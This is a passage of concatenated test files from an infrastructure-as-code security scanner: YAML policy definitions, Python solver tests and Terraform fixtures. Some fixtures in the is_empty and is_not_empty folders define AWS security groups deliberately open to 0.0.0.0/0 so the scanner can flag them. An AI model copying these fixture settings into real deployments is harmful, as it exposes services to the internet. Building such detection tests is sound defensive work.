super(TestEqualsSolver, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/TagEnvironmentExists.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "TagEnvironmentExists" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Environment" operator: "exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/TagEnvironmentExistsAll.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "TagEnvironmentExistsAll" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: [] attribute: "tags.Environment" operator: "exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/VersioningEnabledExists.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "VersioningEnabledExists" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "versioning.enabled" operator: "exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/exists_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class ExistsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(ExistsSolver, self).setUp() def test_nested_attribute_exists(self): root_folder = '../../../resources/s3_bucket' check_id = "VersioningEnabledExists" should_pass = ['aws_s3_bucket.destination'] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_nested_attribute_doesnt_exists(self): root_folder = '../../../resources/s3_bucket' check_id = "TagEnvironmentExists" should_pass = [] should_fail = ['aws_s3_bucket.destination'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_all_resources(self): root_folder = '../../../resources/encryption_test' check_id = "TagEnvironmentExistsAll" should_pass = [] should_fail = ["aws_rds_cluster.rds_cluster_encrypted", "aws_rds_cluster.rds_cluster_unencrypted", "aws_s3_bucket.encrypted_bucket", "aws_s3_bucket.unencrypted_bucket", "aws_neptune_cluster.encrypted_neptune", "aws_neptune_cluster.unencrypted_neptune"] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/GT.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "GT" definition: cond_type: "attribute" resource_types: - aws_s3_bucket attribute: bucket operator: greater_than value: ccc ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/GTE.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "GTE" definition: cond_type: "attribute" resource_types: - aws_s3_bucket attribute: bucket operator: greater_than_or_equal value: ccc ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/LT.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "LT" definition: cond_type: "attribute" resource_types: - aws_s3_bucket attribute: bucket operator: less_than value: ccc ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/LTE.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "LTE" definition: cond_type: "attribute" resource_types: - aws_s3_bucket attribute: bucket operator: less_than_or_equal value: ccc ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/resources/main.tf ================================================ resource "aws_s3_bucket" "b1" { bucket = "abc" } resource "aws_s3_bucket" "b2" { bucket = "xyz" } resource "aws_s3_bucket" "b3" { bucket = "ccc" } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/test_solver.py ================================================ import os from checkov.common.checks_infra.solvers.attribute_solvers.greater_than_attribute_solver import \ GreaterThanAttributeSolver from checkov.common.checks_infra.solvers.attribute_solvers.greater_than_or_equal_attribute_solver import \ GreaterThanOrEqualAttributeSolver from checkov.common.checks_infra.solvers.attribute_solvers.less_than_attribute_solver import LessThanAttributeSolver from checkov.common.checks_infra.solvers.attribute_solvers.less_than_or_equal_attribute_solver import \ LessThanOrEqualAttributeSolver from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver from parameterized import parameterized_class TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestGreaterThanLessThanSolvers(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestGreaterThanLessThanSolvers, self).setUp() def test_greater_than_solver_simple(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = 'resources' check_id = "GT" should_pass = ['aws_s3_bucket.b2'] should_fail = ['aws_s3_bucket.b1', 'aws_s3_bucket.b3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_less_than_solver_simple(self): root_folder = 'resources' check_id = "LT" should_pass = ['aws_s3_bucket.b1'] should_fail = ['aws_s3_bucket.b2', 'aws_s3_bucket.b3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_greater_than_or_equal_solver_simple(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = 'resources' check_id = "GTE" should_pass = ['aws_s3_bucket.b2', 'aws_s3_bucket.b3'] should_fail = ['aws_s3_bucket.b1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_less_than_or_equal_solver_simple(self): root_folder = 'resources' check_id = "LTE" should_pass = ['aws_s3_bucket.b1', 'aws_s3_bucket.b3'] should_fail = ['aws_s3_bucket.b2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_greater_than_solver_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "GT" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_less_than_solver_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "LT" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_greater_than_or_equal_solver_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "GTE" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_less_than_or_equal_solver_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "LTE" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_gt_combinations(self): cls = GreaterThanAttributeSolver self.assertTrue(cls([], None, 1)._get_operation({'a': 2, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 1)._get_operation({'a': '2', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': 2, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': '2', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 1)._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': '1.5', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 1)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 1)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1.0')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 2)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '2')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '2')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) # undefined types self.assertTrue(cls([], None, '1')._get_operation({'a': {'abc': 'xyz'}, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, {'a': {'abc': 'xyz'}})._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': ['xyz'], 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, ['xyz'])._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) # attr not exists self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'b')) # unrendered variable self.assertTrue(cls([], None, '1')._get_operation({'a': 'var.x', 'source_': 'Terraform'}, 'a')) def test_gte_combinations(self): cls = GreaterThanOrEqualAttributeSolver self.assertTrue(cls([], None, 1)._get_operation({'a': 2, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 1)._get_operation({'a': '2', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': 2, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': '2', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 1)._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': '1.5', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 1)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 1)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1.0')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 2)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '2')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '2')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) # undefined types self.assertTrue(cls([], None, '1')._get_operation({'a': {'abc': 'xyz'}, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, {'a': {'abc': 'xyz'}})._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': ['xyz'], 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, ['xyz'])._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) # attr not exists self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'b')) # unrendered variable self.assertTrue(cls([], None, '1')._get_operation({'a': 'var.x', 'source_': 'Terraform'}, 'a')) def test_lt_combinations(self): cls = LessThanAttributeSolver self.assertFalse(cls([], None, 1)._get_operation({'a': 2, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 1)._get_operation({'a': '2', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': 2, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': '2', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 1)._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': '1.5', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 1)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 1)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1.0')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 2)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '2')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '2')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) # undefined types self.assertFalse(cls([], None, '1')._get_operation({'a': {'abc': 'xyz'}, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, {'a': {'abc': 'xyz'}})._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': ['xyz'], 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, ['xyz'])._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) # attr not exists self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'b')) # unrendered variable self.assertIsNone(cls([], 'a', '1').get_operation({'a': 'var.x', 'source_': 'Terraform'})) def test_lte_combinations(self): cls = LessThanOrEqualAttributeSolver self.assertFalse(cls([], None, 1)._get_operation({'a': 2, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 1)._get_operation({'a': '2', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': 2, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': '2', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, 1)._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': '1.5', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 1)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 1)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '1.0')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 2)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '2')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, '2')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': {'abc': 'xyz'}, 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, {'a': {'abc': 'xyz'}})._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) self.assertFalse(cls([], None, '1')._get_operation({'a': ['xyz'], 'source_': 'Terraform'}, 'a')) self.assertTrue(cls([], None, ['xyz'])._get_operation({'a': '1', 'source_': 'Terraform'}, 'a')) # attr not exists self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'b')) # unrendered variable self.assertIsNone(cls([], 'a', '1').get_operation({'a': 'var.x', 'source_': 'Terraform'})) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/ArrayIntersect.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ArrayIntersect" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_xyz" attribute: "arr" operator: "intersects" value: - "allowed1" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/MivedValue.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "MixedValue" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.cidr_blocks" operator: "intersects" value: "0.0.0.0/0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/NoneAttribute.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NoneAttribute" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_subnet" attribute: "foo" operator: "intersects" value: - "bar" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/PublicVMs.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicVMs" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.cidr_blocks" operator: "intersects" value: - "0.0.0.0/0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/StringAttribute.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "StringAttribute" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_subnet" attribute: "availability_zone" operator: "intersects" value: "us-" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/TagsIntersect.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "TagsIntersect" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "all" attribute: "tags" operator: "intersects" value: - "acme" - "foo" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestIntersectsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestIntersectsSolver, self).setUp() def test_simple_array_intersection1(self): root_folder = '../../../resources/public_virtual_machines' check_id = "PublicVMs" should_pass = ['aws_default_security_group.default_security_group_open'] should_fail = ['aws_default_security_group.default_security_group_closed'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_simple_array_intersection2(self): root_folder = '../../../resources/array_test' check_id = "ArrayIntersect" should_pass = ['aws_xyz.pass1', 'aws_xyz.pass2'] should_fail = ['aws_xyz.fail2', 'aws_xyz.fail3', 'aws_xyz.pass3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_none_attribute(self): root_folder = '../../../resources/public_virtual_machines' check_id = "NoneAttribute" should_pass = [] should_fail = ['aws_subnet.subnet_public_ip', 'aws_subnet.subnet_not_public_ip'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_string_attribute(self): root_folder = '../../../resources/public_virtual_machines' check_id = "StringAttribute" should_pass = ['aws_subnet.subnet_public_ip'] should_fail = ['aws_subnet.subnet_not_public_ip'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_mixed_value(self): root_folder = '../../../resources/public_virtual_machines' check_id = "MixedValue" should_pass = ['aws_default_security_group.default_security_group_open'] should_fail = ['aws_default_security_group.default_security_group_closed'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_tags_intersection(self): root_folder = '../../../resources/tag_includes' check_id = "TagsIntersect" should_pass = ['aws_subnet.acme_subnet'] should_fail = ['aws_instance.some_instance', 'aws_s3_bucket.acme_s3_bucket'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/SGPorts.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "SGPorts" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.protocol" operator: "is_empty" - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.cidr_blocks" operator: "is_empty" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/SGPortsJsonpath.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "SGPortsJsonpath" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.protocol" operator: "jsonpath_is_empty" - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.cidr_blocks" operator: "jsonpath_is_empty" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/main.tf ================================================ resource "aws_security_group" "aws_security_group_public" { ingress { cidr_blocks = ["0.0.0.0/0"] from_port = 0 protocol = "" to_port = 0 } } resource "aws_security_group" "sg2" { ingress { from_port = "5432" protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] self = "false" to_port = "1234" } } resource "aws_security_group" "sg3" { ingress { from_port = "5432" protocol = "" cidr_blocks = [] self = "false" to_port = "1234" } } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestIsEmptySolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestIsEmptySolver, self).setUp() def test_is_empty_solver_simple(self): root_folder = './' check_id = "SGPorts" should_pass = ['aws_security_group.sg3'] should_fail = ['aws_security_group.aws_security_group_public', 'aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_is_empty_solver_jsonpath(self): root_folder = './' check_id = "SGPortsJsonpath" should_pass = ['aws_security_group.sg3'] should_fail = ['aws_security_group.aws_security_group_public', 'aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_false_solver/FalseValue.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "FalseValue" scope: provider: "Azure" definition: cond_type: "attribute" resource_types: - "azurerm_storage_account" attribute: "allow_blob_public_access" operator: "is_false" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_false_solver/TrueValue.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "TrueValue" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_neptune_cluster" attribute: "skip_final_snapshot" operator: "is_false" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_false_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_false_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestIsFalse(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestIsFalse, self).setUp() def test_is_false(self): root_folder = '../../../resources/boolean_test' check_id = "FalseValue" should_pass = ['azurerm_storage_account.fail3', 'azurerm_storage_account.pass1', 'azurerm_storage_account.pass2'] should_fail = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestIsFalse, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_is_true(self): root_folder = '../../../resources/encryption' check_id = "TrueValue" should_pass = [] should_fail = ['aws_neptune_cluster.unencrypted_neptune', 'aws_neptune_cluster.encrypted_neptune'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestIsFalse, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_not_empty_solver/SGPorts.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "SGPorts" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.protocol" operator: "is_not_empty" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_not_empty_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_not_empty_solver/main.tf ================================================ resource "aws_security_group" "aws_security_group_public" { ingress { cidr_blocks = ["0.0.0.0/0"] from_port = 0 protocol = "" to_port = 0 } } resource "aws_security_group" "sg2" { ingress { from_port = "5432" protocol = "tcp" security_groups = [ "sg-id-0" ] self = "false" to_port = "1234" } } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_not_empty_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestIsNotEmptySolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestIsNotEmptySolver, self).setUp() def test_is_not_empty_solver_simple(self): root_folder = './' check_id = "SGPorts" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.aws_security_group_public'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_true_solver/FalseValue.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "FalseValue" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_lb" attribute: "internal" operator: "is_true" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_true_solver/TrueValue.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "TrueValue" scope: provider: "Azure" definition: cond_type: "attribute" resource_types: - "azurerm_storage_account" attribute: "allow_blob_public_access" operator: "is_true" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_true_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/is_true_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import 